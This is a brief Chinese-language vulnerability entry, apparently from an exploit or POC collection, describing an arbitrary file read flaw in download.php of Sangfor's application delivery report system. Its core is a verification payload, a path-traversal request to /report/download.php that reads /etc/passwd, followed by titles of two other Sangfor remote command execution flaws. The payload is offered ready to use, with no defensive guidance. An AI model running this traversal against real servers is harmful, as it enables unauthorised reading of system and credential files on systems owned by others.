深信服 应用交付报表系统 download.php文件存在任意文件读取漏洞,攻击者通过漏洞可以下载服务器任意文件
登录页面
验证POC
/report/download.php?pdf=../../../../../etc/passwd
深信服 应用交付管理系统 login 远程命令执行漏洞 深信服 行为感知系统 c.php 远程命令执行漏洞